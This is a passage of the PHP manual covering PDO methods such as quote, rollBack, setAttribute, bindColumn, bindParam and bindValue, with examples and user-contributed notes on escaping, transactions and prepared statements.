print "Unquoted string: $string\n";
print "Quoted string: " . $conn->quote($string) . "\n";
?>

The above example will output:

Unquoted string: Nice
Quoted string: 'Nice'

Example #2 Quoting a dangerous string

<?php
$conn = new PDO('sqlite:/home/lynn/music.sql3');

/* Dangerous string */
$string = 'Naughty \' string';
print "Unquoted string: $string\n";
print "Quoted string:" . $conn->quote($string) . "\n";
?>

The above example will output:

Unquoted string: Naughty ' string
Quoted string: 'Naughty '' string'

Example #3 Quoting a complex string

<?php
$conn = new PDO('sqlite:/home/lynn/music.sql3');

/* Complex string */
$string = "Co'mpl''ex \"st'\"ring";
print "Unquoted string: $string\n";
print "Quoted string: " . $conn->quote($string) . "\n";
?>

The above example will output:

Unquoted string: Co'mpl''ex "st'"ring
Quoted string: 'Co''mpl''''ex "st''"ring'

See Also

  • PDO::prepare() - Prepares a statement for execution and returns a statement object
  • PDOStatement::execute() - Executes a prepared statement

User Contributed Notes

milosdj at gmail dot com 27-Jan-2014 11:17
This function also converts new lines to \r\n
mirv 28-Sep-2013 09:40
When converting from the old mysql_ functions to PDO, note that the quote function isn't exactly the same as the old mysql_real_escape_string function. It escapes, but also adds quotes; hence the name I guess :-)

After I replaced mysql_real_escape_string with $pdo->quote, it took me a bit to figure out why my strings were turning up in results with quotes around them. I felt like a fool when I realized all I needed to do was change ...\"".$pdo->quote($foo)."\"... to ...".$pdo->quote($foo)."...
col dot shrapnel at gmail dot com 13-May-2013 07:02
One have to understand that string formatting has nothing to do with identifiers.
And thus string formatting should NEVER ever be used to format an identifier ( table of field name).
To quote an identifier, you have to format it as identifier, not as string.
To do so you have to

- Enclose identifier in backticks.
- Escape backticks inside by doubling them.

So, the code would be:
<?php
function quoteIdent($field) {
    return "`".str_replace("`","``",$field)."`";
}
?>
this will make your identifier properly formatted and thus invulnerable to injection.

However, there is another possible attack vector - using dynamical identifiers in the query may give an outsider control over fields the aren't allowed to:
Say, a field user_role in the users table and a dynamically built INSERT query based on a $_POST array may allow a privilege escalation with easily forged $_POST array.
Or a select query which let a user to choose fields to display may reveal some sensitive information to attacker.

To prevent this kind of attack yet keep queries dynamic, one ought to use WHITELISTING approach.

Every dynamical identifier have to be checked against a hardcoded whitelist like this:
<?php
$allowed  = array("name","price","qty");
$key = array_search($_GET['field'], $allowed));
if ($key == false) {
    throw new Exception('Wrong field name');
}
$field = $db->quoteIdent($allowed[$key]);
$query = "SELECT $field FROM t"; //value is safe
?>
(Personally I wouldn't use a query like this, but that's just an example of using a dynamical identifier in the query).

And similar approach have to be used when filtering dynamical arrays for insert and update:

<?php
function filterArray($input,$allowed)
{
    foreach(array_keys($input) as $key )
    {
        if ( !in_array($key,$allowed) )
        {
             unset($input[$key]);
        }
    }
    return $input;
}
//used like this
$allowed = array('title','url','body','rating','term','type');
$data = $db->filterArray($_POST,$allowed);
// $data now contains allowed fields only
// and can be used to create INSERT or UPDATE query dynamically
?>
php at deobald dot org 20-May-2008 05:33
Note that this function just does what the documentation says: It escapes special characters in strings.

It does NOT - however - detect a "NULL" value. If the value you try to quote is "NULL" it will return the same value as when you process an empty string (-> ''), not the text "NULL".


Rolls back a transaction

  • « PDO::quote
  • PDO::setAttribute »
  • PHP Manual
  • PDO
  • Rolls back a transaction

PDO::rollBack

(PHP 5 >= 5.1.0, PECL pdo >= 0.1.0)

PDO::rollBack — Rolls back a transaction

Description

public bool PDO::rollBack ( void )

Rolls back the current transaction, as initiated by PDO::beginTransaction(). A PDOException will be thrown if no transaction is active.

If the database was set to autocommit mode, this function will restore autocommit mode after it has rolled back the transaction.

Some databases, including MySQL, automatically issue an implicit COMMIT when a database definition language (DDL) statement such as DROP TABLE or CREATE TABLE is issued within a transaction. The implicit COMMIT will prevent you from rolling back any other changes within the transaction boundary.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Roll back a transaction

The following example begins a transaction and issues two statements that modify the database before rolling back the changes. On MySQL, however, the DROP TABLE statement automatically commits the transaction so that none of the changes in the transaction are rolled back.

<?php
/* Begin a transaction, turning off autocommit */
$dbh->beginTransaction();

/* Change the database schema and data */
$sth = $dbh->exec("DROP TABLE fruit");
$sth = $dbh->exec("UPDATE dessert
    SET name = 'hamburger'");

/* Recognize mistake and roll back changes */
$dbh->rollBack();

/* Database connection is now back in autocommit mode */
?>

See Also

  • PDO::beginTransaction() - Initiates a transaction
  • PDO::commit() - Commits a transaction
  • Transactions and auto-commit

User Contributed Notes

Petros Giakouvakis 10-Nov-2010 10:30
Should anyone reading this be slightly panicked because they just discovered that their MySQL  tables are MyIsam and not InnoDb, don't worry... You can very easily change the storage engine using the following query:

ALTER TABLE your_table_name ENGINE = innodb;
brian at diamondsea dot com 25-Mar-2008 04:19
Here is a way of testing that your transaction has started when using MySQL's InnoDB tables.  It will fail if you are using MySQL's MyISAM tables, which do not support transactions but will also not return an error when using them.

<?
// Begin the transaction
$dbh->beginTransaction();

// To verify that a transaction has started, try to create an (illegal for InnoDB) nested transaction.
//    If it works, the first transaction did not start correctly or is unsupported (such as on MyISAM tables)
try {
    $dbh->beginTransaction();
    die('Cancelling, Transaction was not properly started');
} catch (PDOException $e) {
    print "Transaction is running (because trying another one failed)\n";
}
?>
JonasJ 08-Jan-2008 10:59
Just a quick (and perhaps obvious) note for MySQL users;

Don't scratch your head if it isn't working if you are using a MyISAM table to test the rollbacks with.

Both rollBack() and beginTransaction() will return TRUE but the rollBack will not happen.

Convert the table to InnoDB and run the test again.
linfo2003 at libero dot it 30-May-2007 04:07
Since "It is an error to call this method if no transaction is active", it could be useful (even if not indispensable) to have a method which returns true if a transaction is active.

try {
    $dbh->beginTransaction();
    ...
} catch (PDOException $e) {
    if ($dbh->isTransactionActive())  // this function does NOT exist
        $dbh->rollBack();
    ...
}

In the meanwhile, I'm using this code:

    ...
} catch (PDOException $e) {
    try { $dbh->rollBack(); } catch (Exception $e2) {}
    ...
}

It's not so chic, but it works fine.


Set an attribute

  • « PDO::rollBack
  • PDOStatement »
  • PHP Manual
  • PDO
  • Set an attribute

PDO::setAttribute

(PHP 5 >= 5.1.0, PECL pdo >= 0.1.0)

PDO::setAttribute — Set an attribute

Description

public bool PDO::setAttribute ( int $attribute , mixed $value )

Sets an attribute on the database handle. Some of the available generic attributes are listed below; some drivers may make use of additional driver specific attributes.

  • PDO::ATTR_CASE: Force column names to a specific case.

    • PDO::CASE_LOWER: Force column names to lower case.

    • PDO::CASE_NATURAL: Leave column names as returned by the database driver.

    • PDO::CASE_UPPER: Force column names to upper case.

  • PDO::ATTR_ERRMODE: Error reporting.

    • PDO::ERRMODE_SILENT: Just set error codes.

    • PDO::ERRMODE_WARNING: Raise E_WARNING.

    • PDO::ERRMODE_EXCEPTION: Throw exceptions.

  • PDO::ATTR_ORACLE_NULLS (available with all drivers, not just Oracle): Conversion of NULL and empty strings.

    • PDO::NULL_NATURAL: No conversion.

    • PDO::NULL_EMPTY_STRING: Empty string is converted to NULL.

    • PDO::NULL_TO_STRING: NULL is converted to an empty string.

  • PDO::ATTR_STRINGIFY_FETCHES: Convert numeric values to strings when fetching. Requires bool.

  • PDO::ATTR_STATEMENT_CLASS: Set user-supplied statement class derived from PDOStatement. Cannot be used with persistent PDO instances. Requires array(string classname, array(mixed constructor_args)).

  • PDO::ATTR_TIMEOUT: Specifies the timeout duration in seconds. Not all drivers support this option, and its meaning may differ from driver to driver. For example, sqlite will wait for up to this time value before giving up on obtaining an writable lock, but other drivers may interpret this as a connect or a read timeout interval. Requires int.

  • PDO::ATTR_AUTOCOMMIT (available in OCI, Firebird and MySQL): Whether to autocommit every single statement.

  • PDO::ATTR_EMULATE_PREPARES Enables or disables emulation of prepared statements. Some drivers do not support native prepared statements or have limited support for them. Use this setting to force PDO to either always emulate prepared statements (if TRUE), or to try to use native prepared statements (if FALSE). It will always fall back to emulating the prepared statement if the driver cannot successfully prepare the current query. Requires bool.

  • PDO::MYSQL_ATTR_USE_BUFFERED_QUERY (available in MySQL): Use buffered queries.

  • PDO::ATTR_DEFAULT_FETCH_MODE: Set default fetch mode. Description of modes is available in PDOStatement::fetch() documentation.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

antoyo 12-Jan-2011 02:49
There is also a way to specifie the default fetch mode :
<?php
$connection = new PDO($connection_string);
$connection->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_OBJ);
?>
colinganderson [at] gmail [dot] com 18-May-2007 04:59
Because no examples are provided, and to alleviate any confusion as a result, the setAttribute() method is invoked like so:

setAttribute(ATTRIBUTE, OPTION);

So, if I wanted to ensure that the column names returned from a query were returned in the case the database driver returned them (rather than having them returned in all upper case [as is the default on some of the PDO extensions]), I would do the following:

<?php
// Create a new database connection.
$dbConnection = new PDO($dsn, $user, $pass);

// Set the case in which to return column_names.
$dbConnection->setAttribute(PDO::ATTR_CASE, PDO::CASE_NATURAL);
?>

Hope this helps some of you who learn by example (as is the case with me).

.Colin
gregory dot szorc at gmail dot com 15-Feb-2007 05:32
It is worth noting that not all attributes may be settable via setAttribute().  For example, PDO::MYSQL_ATTR_MAX_BUFFER_SIZE is only settable in PDO::__construct().  You must pass PDO::MYSQL_ATTR_MAX_BUFFER_SIZE as part of the optional 4th parameter to the constructor.  This is detailed in http://bugs.php.net/bug.php?id=38015
m dot leuffen at gmx dot de 26-Jul-2006 03:44
Hi,

if you are wondering about a size-bound (1 MB) on blob and text fields after upgrading to PHP5.1.4. You might try to increase this limit by using the setAttribute() method.

This will fail. Instead use the options array when instantiating the pdo:

$pdo = new PDO ("connection_settings", "user", "pass", array
(PDO::MYSQL_ATTR_MAX_BUFFER_SIZE=>1024*1024*50));

This should fix the problem and increase the limit to 50 MB.

Bye,
  Matthias


The PDOStatement class

(PHP 5 >= 5.1.0, PECL pdo >= 1.0.0)

Introduction

Represents a prepared statement and, after the statement is executed, an associated result set.

Class synopsis

PDOStatement implements Traversable {
/* Properties */
readonly string $queryString;
/* Methods */
public bool bindColumn ( mixed $column , mixed &$param [, int $type [, int $maxlen [, mixed $driverdata ]]] )
public bool bindParam ( mixed $parameter , mixed &$variable [, int $data_type = PDO::PARAM_STR [, int $length [, mixed $driver_options ]]] )
public bool bindValue ( mixed $parameter , mixed $value [, int $data_type = PDO::PARAM_STR ] )
public bool closeCursor ( void )
public int columnCount ( void )
public void debugDumpParams ( void )
public string errorCode ( void )
public array errorInfo ( void )
public bool execute ([ array $input_parameters ] )
public mixed fetch ([ int $fetch_style [, int $cursor_orientation = PDO::FETCH_ORI_NEXT [, int $cursor_offset = 0 ]]] )
public array fetchAll ([ int $fetch_style [, mixed $fetch_argument [, array $ctor_args = array() ]]] )
public string fetchColumn ([ int $column_number = 0 ] )
public mixed fetchObject ([ string $class_name = "stdClass" [, array $ctor_args ]] )
public mixed getAttribute ( int $attribute )
public array getColumnMeta ( int $column )
public bool nextRowset ( void )
public int rowCount ( void )
public bool setAttribute ( int $attribute , mixed $value )
public bool setFetchMode ( int $mode )
}

Properties

queryString

Used query string.

Table of Contents

  • PDOStatement::bindColumn — Bind a column to a PHP variable
  • PDOStatement::bindParam — Binds a parameter to the specified variable name
  • PDOStatement::bindValue — Binds a value to a parameter
  • PDOStatement::closeCursor — Closes the cursor, enabling the statement to be executed again.
  • PDOStatement::columnCount — Returns the number of columns in the result set
  • PDOStatement::debugDumpParams — Dump an SQL prepared command
  • PDOStatement::errorCode — Fetch the SQLSTATE associated with the last operation on the statement handle
  • PDOStatement::errorInfo — Fetch extended error information associated with the last operation on the statement handle
  • PDOStatement::execute — Executes a prepared statement
  • PDOStatement::fetch — Fetches the next row from a result set
  • PDOStatement::fetchAll — Returns an array containing all of the result set rows
  • PDOStatement::fetchColumn — Returns a single column from the next row of a result set
  • PDOStatement::fetchObject — Fetches the next row and returns it as an object.
  • PDOStatement::getAttribute — Retrieve a statement attribute
  • PDOStatement::getColumnMeta — Returns metadata for a column in a result set
  • PDOStatement::nextRowset — Advances to the next rowset in a multi-rowset statement handle
  • PDOStatement::rowCount — Returns the number of rows affected by the last SQL statement
  • PDOStatement::setAttribute — Set a statement attribute
  • PDOStatement::setFetchMode — Set the default fetch mode for this statement

User Contributed Notes

luis-m-cardoso at ext dot ptinovacao dot pt 16-Sep-2013 11:53
Solved ;)

<?php

$host = "yourHost";
$user = "yourUser";
$pass = "yourPass";
$db = "yourDB";

$cursor = "cr_123456";

try
{
  $dbh = new PDO("pgsql:host=$host;port=5432;dbname=$db;user=$user;password=$pass");
  echo "Connected<p>";
}
catch (Exception $e)
{
  echo "Unable to connect: " . $e->getMessage() ."<p>";
}

$dbh->beginTransaction();

$query = "SELECT yourFunction(0::smallint,'2013-08-01 00:00','2013-09-01 00:00',1::smallint,'$cursor')";

$dbh->query($query);

$query = "FETCH ALL IN \"$cursor\"";

echo "begin data<p>";

foreach ($dbh->query($query) as $row)
{
    echo "$row[0] $row[1] $row[2] <br>";
}

echo "end data";

?>
rosko at zeta dot org dot au 03-Dec-2009 02:50
There are many references around for returning a refcursor from a pgSQL function using pg_query. All essentially boil down to executing the following single statement (or some variation of it):

 begin; select yourFunction(params...); fetch all in cursorname; commit;

In PDO, this doesn't work because PDO won't allow multiple statements submitted as a single statement (due to SQL injection detection). Instead, try this or similar:

<?php
$sql = 'select yourFunction(params...)';
$db = new PDO('pgsql:dbname=yourDBname');
$db->beginTransaction();
$cmd = $db->prepare($sql);
if ($cmd->execute()) {
  if ($query = $db->query('fetch all in cursorname')) {
    ...processing...
    $query->closeCursor();
    $cmd->closeCursor();
  }
}
$db->commit();
?>


Bind a column to a PHP variable

  • « PDOStatement
  • PDOStatement::bindParam »
  • PHP Manual
  • PDOStatement
  • Bind a column to a PHP variable

PDOStatement::bindColumn

(PHP 5 >= 5.1.0, PECL pdo >= 0.1.0)

PDOStatement::bindColumn — Bind a column to a PHP variable

Description

public bool PDOStatement::bindColumn ( mixed $column , mixed &$param [, int $type [, int $maxlen [, mixed $driverdata ]]] )

PDOStatement::bindColumn() arranges to have a particular variable bound to a given column in the result-set from a query. Each call to PDOStatement::fetch() or PDOStatement::fetchAll() will update all the variables that are bound to columns.

Note:

Since information about the columns is not always available to PDO until the statement is executed, portable applications should call this function after PDOStatement::execute().

However, to be able to bind a LOB column as a stream when using the PgSQL driver, applications should call this method before calling PDOStatement::execute(), otherwise the large object OID will be returned as an integer.

Parameters

column

Number of the column (1-indexed) or name of the column in the result set. If using the column name, be aware that the name should match the case of the column, as returned by the driver.

param

Name of the PHP variable to which the column will be bound.

type

Data type of the parameter, specified by the PDO::PARAM_* constants.

maxlen

A hint for pre-allocation.

driverdata

Optional parameter(s) for the driver.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Binding result set output to PHP variables

Binding columns in the result set to PHP variables is an effective way to make the data contained in each row immediately available to your application. The following example demonstrates how PDO allows you to bind and retrieve columns with a variety of options and with intelligent defaults.

<?php
function readData($dbh) {
  $sql = 'SELECT name, colour, calories FROM fruit';
  try {
    $stmt = $dbh->prepare($sql);
    $stmt->execute();

    /* Bind by column number */
    $stmt->bindColumn(1, $name);
    $stmt->bindColumn(2, $colour);

    /* Bind by column name */
    $stmt->bindColumn('calories', $cals);

    while ($row = $stmt->fetch(PDO::FETCH_BOUND)) {
      $data = $name . "\t" . $colour . "\t" . $cals . "\n";
      print $data;
    }
  }
  catch (PDOException $e) {
    print $e->getMessage();
  }
}
readData($dbh);
?>

The above example will output:

apple   red     150
banana  yellow  175
kiwi    green   75
orange  orange  150
mango   red     200
strawberry      red     25

See Also

  • PDOStatement::execute() - Executes a prepared statement
  • PDOStatement::fetch() - Fetches the next row from a result set
  • PDOStatement::fetchAll() - Returns an array containing all of the result set rows
  • PDOStatement::fetchColumn() - Returns a single column from the next row of a result set

User Contributed Notes

daniel dot baulig at gmx dot de 18-Jun-2010 08:54
Pleas note the following:

If you try binding a column name, that is not existent in the result set referenced by your PDOStatement there will be a warning issued regardless of your PDO ATTR_ERRMODE setting. You can supress that warning using the @ supression operator, but there is no other way of finding out if an column you try to bind actually exist other than inspecting error_get_last( ) and it's fellow companions.

Also refer to this bug report http://bugs.php.net/bug.php?id=52104


Binds a parameter to the specified variable name

  • « PDOStatement::bindColumn
  • PDOStatement::bindValue »
  • PHP Manual
  • PDOStatement
  • Binds a parameter to the specified variable name

PDOStatement::bindParam

(PHP 5 >= 5.1.0, PECL pdo >= 0.1.0)

PDOStatement::bindParam — Binds a parameter to the specified variable name

Description

public bool PDOStatement::bindParam ( mixed $parameter , mixed &$variable [, int $data_type = PDO::PARAM_STR [, int $length [, mixed $driver_options ]]] )

Binds a PHP variable to a corresponding named or question mark placeholder in the SQL statement that was used to prepare the statement. Unlike PDOStatement::bindValue(), the variable is bound as a reference and will only be evaluated at the time that PDOStatement::execute() is called.

Most parameters are input parameters, that is, parameters that are used in a read-only fashion to build up the query. Some drivers support the invocation of stored procedures that return data as output parameters, and some also as input/output parameters that both send in data and are updated to receive it.

Parameters

parameter

Parameter identifier. For a prepared statement using named placeholders, this will be a parameter name of the form :name. For a prepared statement using question mark placeholders, this will be the 1-indexed position of the parameter.

variable

Name of the PHP variable to bind to the SQL statement parameter.

data_type

Explicit data type for the parameter using the PDO::PARAM_* constants. To return an INOUT parameter from a stored procedure, use the bitwise OR operator to set the PDO::PARAM_INPUT_OUTPUT bits for the data_type parameter.

length

Length of the data type. To indicate that a parameter is an OUT parameter from a stored procedure, you must explicitly set the length.

driver_options

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Execute a prepared statement with named placeholders

<?php
/* Execute a prepared statement by binding PHP variables */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
    FROM fruit
    WHERE calories < :calories AND colour = :colour');
$sth->bindParam(':calories', $calories, PDO::PARAM_INT);
$sth->bindParam(':colour', $colour, PDO::PARAM_STR, 12);
$sth->execute();
?>

Example #2 Execute a prepared statement with question mark placeholders

<?php
/* Execute a prepared statement by binding PHP variables */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
    FROM fruit
    WHERE calories < ? AND colour = ?');
$sth->bindParam(1, $calories, PDO::PARAM_INT);
$sth->bindParam(2, $colour, PDO::PARAM_STR, 12);
$sth->execute();
?>

Example #3 Call a stored procedure with an INOUT parameter

<?php
/* Call a stored procedure with an INOUT parameter */
$colour = 'red';
$sth = $dbh->prepare('CALL puree_fruit(?)');
$sth->bindParam(1, $colour, PDO::PARAM_STR|PDO::PARAM_INPUT_OUTPUT, 12);
$sth->execute();
print("After pureeing fruit, the colour is: $colour");
?>

See Also

  • PDO::prepare() - Prepares a statement for execution and returns a statement object
  • PDOStatement::execute() - Executes a prepared statement
  • PDOStatement::bindValue() - Binds a value to a parameter

User Contributed Notes

amerador20 at gmail dot com 12-Sep-2014 04:42
Hi, i have an error when i use a reserved keyword in a bindparam() function. I use in a database field a the word 'unique' in some items, but when i send this query to mysql  returned me an null:
"SELECT *
FROM ItemsOptions
WHERE option = unique"

how can i use reserved keywords in a bindparam? i used escape special character such a `   but not woks.

Thanks in advance
Ofir Attia 19-Jul-2014 03:09
/*
   method for pdo class connection, you can add your cases by    yourself and use it.
*/
class Conn{
....
....
private $stmt;
public function bind($parameter, $value, $var_type = null){
        if (is_null($var_type)) {
            switch (true) {
                               case is_bool($value):
                    $var_type = PDO::PARAM_BOOL;
                    break;
                case is_int($value):
                    $var_type = PDO::PARAM_INT;
                    break;
                case is_null($value):
                    $var_type = PDO::PARAM_NULL;
                    break;
                default:
                    $var_type = PDO::PARAM_STR;
            }
        }
        $this->stmt->bindValue($parameter, $value, $var_type);
    }
pegas1981 at yandex dot ru 16-Dec-2013 08:56
http://technet.microsoft.com/en-us/library/ff628166(v=sql.105).aspx

When binding null data to server columns of type varbinary, binary, or varbinary(max) you should specify binary encoding (PDO::SQLSRV_ENCODING_BINARY) using the $driver_options. See Constants for more information about encoding constants.
Support for PDO was added in version 2.0 of the Microsoft Drivers for PHP for SQL Server.

 <?php
$db = new PDO('sqlsrv:server=SQLSERVERNAME;Database=own_exchange', 'user', 'password');
$sql = "INSERT INTO dbo.files(file_name, file_source) VALUES(:file_name, :file_source)";
$stmt = $db->prepare($sql);
$stmt->bindParam(":file_name", $files->name, PDO::PARAM_STR);
$stmt->bindParam(":file_source", file_get_contents($files->tempName), PDO::PARAM_LOB, 0, PDO::SQLSRV_ENCODING_BINARY);
$stmt->execute();
?>
Mike Robinson 27-Jan-2013 08:56
Note that with bindParam the second parameter is passed by reference. This means that the following will produce a warning if E_STRICT is enabled:

<?php
$stmt->bindParam('type', $object->getType());

// Strict Standards: Only variables should be passed by reference in /path/to/file.php on line 123
?>

If the second parameter is not an actual variable, either set the result of $object->getType(); to a variable and use that variable in bindParam or use bindValue instead.
flannell 21-Aug-2012 09:27
Spent all day banging my head against a brick wall.

Tried to use INOUT or OUT and getting the return variable into PHP using Mysql v5.5.16 on XAMPP.

"MySQL doesn't supporting binding output parameters via its C API.  You must use SQL level variables:"

<?php
$stm = $db->prepare("CALL sp_mysp(:Name, :Email, @sp_result)");

$outputArray = $db->query("select @sp_result")->fetch(PDO::FETCH_ASSOC);
?>

So the 'workaround' for Mysql and PDO is to use two SQL calls.

Hope this helps someone.
khkiley at adamsautomation dot com 21-Aug-2012 06:56
SQL Server 2008 R2

If this was in the documentation, I didn't stumble across it. When using bound output parameters with a stored procedure, the output parameters are updated AFTER the LAST rowset has been processed.

If your stored procedure does not return any rowsets (no SELECT statements) then you are set, your output parameters will be ready as soon as the stored procedure is processed.

Otherwise you need to process the rows, and then:
<?php $stmt->nextRowset(); ?>

Once that is done for each returning rowset you will have access to the output parameters.
cyrylas at gmail dot com 10-Jan-2011 10:23
Please note, that PDO format numbers according to current locale. So if, locale set number format to something else, that standard that query WILL NOT work properly.

For example:
in Polish locale (pl_PL) proper decimal separator is coma (","), so: 123,45, not 123.45. If we try bind 123.45 to the query, we will end up with coma in the query.

<?php
setlocale(LC_ALL, 'pl_PL');
$sth = $dbh->prepare('SELECT name FROM products WHERE price < :price');
$sth->bindParam(':price', 123.45, PDO::PARAM_STR);
$sth->execute();
// result:
// SELECT name FROM products WHERE price < '123,45';
?>
ReK_ 19-Oct-2010 07:59
This confused me for some time because it is never explicitly mentioned, but PDO will automagically encapsulate parameters for you, so a prepared query that is manually escaped like so:

"INSERT INTO table (column) VALUES (':value');"

Will actually end up being double-quoted and can cause problems.
atrandafirc at yahoo dot com 31-Aug-2010 03:37
I know this has been said before but I'll write a note on it too because I think it's important to keep in mind:

If you use PDO bindParam to do a search with a LIKE condition you cannot put the percentages and quotes to the param placeholder '%:keyword%'.

This is WRONG:
"SELECT * FROM `users` WHERE `firstname` LIKE '%:keyword%'";

The CORRECT solution is to leave clean the placeholder like this:
"SELECT * FROM `users` WHERE `firstname` LIKE :keyword";

And then add the percentages to the php variable where you store the keyword:
$keyword = "%".$keyword."%";

And finally the quotes will be automatically added by PDO when executing the query so you don't have to worry about them.

So the full example would be:
<?php
// Get the keyword from query string
$keyword = $_GET['keyword'];
// Prepare the command
$sth = $dbh->prepare('SELECT * FROM `users` WHERE `firstname` LIKE :keyword');
// Put the percentage sing on the keyword
$keyword = "%".$keyword."%";
// Bind the parameter
$sth->bindParam(':keyword', $keyword, PDO::PARAM_STR);
?>
sergiy dot sokolenko at gmail dot com 02-Jul-2010 12:22
Note that you cannot mix named and positional parameters in one query:

<?php
$stmt = $conn->prepare('SELECT * FROM employees WHERE name LIKE :name OR email LIKE ?');
$name = 'John%';
$email = 'john%';

$stmt->bindParam(':name', $name);
$stmt->bindParam(1, $email);

$stmt->execute();
?>

Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[HY093]: Invalid parameter number: mixed named and positional parameters' in ...

Running PHP 5.3.2 on Linux x86-64
Vili 28-May-2010 09:01
This works ($val by reference):
<?php
foreach ($params as $key => &$val) {
    $sth->bindParam($key, $val);
}
?>

This will fail ($val by value, because bindParam needs &$variable):
<?php
foreach ($params as $key => $val) {
    $sth->bindParam($key, $val);
}
?>
geompse at gmail dot com 29-Jan-2010 12:30
if you are storing files (or binary data), using PARAM_LOB (and moreover trying to do this with Oracle), don't miss this page :

http://php.net/manual/en/pdo.lobs.php

You will there notice that PDO-PGSQL and PDO-OCI don't work the same at all : not the same argument nor the same behaviour.
Steve M 19-Nov-2009 08:28
Note that when using PDOStatement::bindParam an integer is changed to a string value upon PDOStatement::execute(). (Tested with MySQL).

This can cause problems when trying to compare values using the === operator.

Example:
<?php
$active = 1;
var_dump($active);
$ps->bindParam(":active", $active, PDO::PARAM_INT);
var_dump($active);
$ps->execute();
var_dump($active);
if ($active === 1) {
    // do something here
    // note: this will fail since $active is now "1"
}
?>

results in:
int(1)
int(1)
string(1) "1"
dhammari at q90 dot com 08-Jul-2009 08:22
There seems to be some confusion about whether you can bind a single value to multiple identical placeholders. For example:

$sql = "SELECT * FROM user WHERE is_admin = :myValue AND is_deleted = :myValue ";

$params = array("myValue" => "0");

Some users have reported that attempting to bind a single parameter to multiple placeholders yields a parameter mismatch error in PHP version 5.2.0 and earlier. Starting with version 5.2.1, however, this seems to work just fine.

For details, see bug report 40417:
http://bugs.php.net/bug.php?id=40417
jeffwa+php at gmail dot com 11-Jul-2007 10:49
Took me forever to find this elsewhere in the notes in the manual, so I'd thought I'd put this tidbit here to help others in the future.

When using a LIKE search in MySQL along with a prepared statement, the *value* must have the appropriate parentheses attached before the bindParam() statement as such:

<?php
$dbc = $GLOBALS['dbc'];
$sql = "SELECT * FROM `tbl_name` WHERE tbl_col LIKE ?";
$stmt = $dbc->prepare($sql);

$value = "%{$value}%";
$stmt->bindParam($i, $value, PDO::PARAM_STR);
?>

Trying to use
<?php
$stmt->bindParam($i, "%{$value}%", PDO::PARAM_STR);
?>

will fail.
willie at spenlen dot com 14-Jun-2007 08:49
If you're using the MySQL driver and have a stored procedure with an OUT or INOUT parameter, you can't (currently) use bindValue(). See http://bugs.php.net/bug.php?id=35935 for a workaround.
Filofox 10-Apr-2006 12:09
Do not try to use the same named parameter twice in a single SQL statement, for example

<?php
$sql = 'SELECT * FROM some_table WHERE  some_value > :value OR some_value < :value';
$stmt = $dbh->prepare($sql);
$stmt->execute( array( ':value' => 3 ) );
?>

...this will return no rows and no error -- you must use each parameter once and only once. Apparently this is expected behavior (according to this bug report: http://bugs.php.net/bug.php?id=33886)  because of portability issues.
05-Feb-2006 11:25
A caution for those using bindParam() on a placeholder in a
LIKE '%...%' clause, the following code will likely not work:

<?php
$q = "SELECT id, name FROM test WHERE name like '%:foo%'";
$s = "carrot";
$sth = $dbh->prepare($q);
$sth->bindParam(':foo', $s);
$sth->execute();
?>

What is needed is something like the following:

<?php
$s = "%$s%";
$sth->bindParam(':foo', $s);
?>

This should work. Tested against mysql 4.1, PHP 5.1.3.


Binds a value to a parameter

  • « PDOStatement::bindParam
  • PDOStatement::closeCursor »
  • PHP Manual
  • PDOStatement
  • Binds a value to a parameter

PDOStatement::bindValue

(PHP 5 >= 5.1.0, PECL pdo >= 1.0.0)

PDOStatement::bindValue — Binds a value to a parameter

Description

public bool PDOStatement::bindValue ( mixed $parameter , mixed $value [, int $data_type = PDO::PARAM_STR ] )

Binds a value to a corresponding named or question mark placeholder in the SQL statement that was used to prepare the statement.

Parameters

parameter

Parameter identifier. For a prepared statement using named placeholders, this will be a parameter name of the form :name. For a prepared statement using question mark placeholders, this will be the 1-indexed position of the parameter.

value

The value to bind to the parameter.

data_type

Explicit data type for the parameter using the PDO::PARAM_* constants.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Execute a prepared statement with named placeholders

<?php
/* Execute a prepared statement by binding PHP variables */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
    FROM fruit
    WHERE calories < :calories AND colour = :colour');
$sth->bindValue(':calories', $calories, PDO::PARAM_INT);
$sth->bindValue(':colour', $colour, PDO::PARAM_STR);
$sth->execute();
?>

Example #2 Execute a prepared statement with question mark placeholders

<?php
/* Execute a prepared statement by binding PHP variables */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
    FROM fruit
    WHERE calories < ? AND colour = ?');
$sth->bindValue(1, $calories, PDO::PARAM_INT);
$sth->bindValue(2, $colour, PDO::PARAM_STR);
$sth->execute();
?>

See Also

  • PDO::prepare() - Prepares a statement for execution and returns a statement object
  • PDOStatement::execute() - Executes a prepared statement
  • PDOStatement::bindParam() - Binds a parameter to the specified variable name

User Contributed Notes

me at iabdullah dot info 07-Aug-2014 06:47
The reason that we cannot define the value variable for bindValue() after calling it, is because that it binds the value to the prepared statement immediately and does not wait until the execute() to happen.

The following code will issue a notice and prevent the query from taking place:
<?php
    $st = $db->prepare ("SELECT * FROM posts WHERE id= :val ");
    $st->bindValue(':val',$val);

    $val = '2';
    $st->execute();
?>
The output:
Notice: Undefined variable: val.

Whereas in the case of bindParam, the evaluation of the value to the parameter will not be performed until the call of execute(). And that's to gain the benefit of reference passing.
<?php
    $st = $db->prepare ("SELECT * FROM posts WHERE id = :val ");
    $st->bindParam(':val',$val);

    $val = '2';
    //
    // some code
    //
    $val = '3'; // re-assigning the value variable
    $st->execute();
?>
works fine.
contact[at]maximeelomari.com 17-Jul-2011 02:19
This function is useful for bind value on an array. You can specify the type of the value in advance with $typeArray.

<?php
/**
 * @param string $req : the query on which link the values
 * @param array $array : associative array containing the values ​​to bind
 * @param array $typeArray : associative array with the desired value for its corresponding key in $array
 * */
function bindArrayValue($req, $array, $typeArray = false)
{
    if(is_object($req) && ($req instanceof PDOStatement))
    {
        foreach($array as $key => $value)
        {
            if($typeArray)
                $req->bindValue(":$key",$value,$typeArray[$key]);
            else
            {
                if(is_int($value))
                    $param = PDO::PARAM_INT;
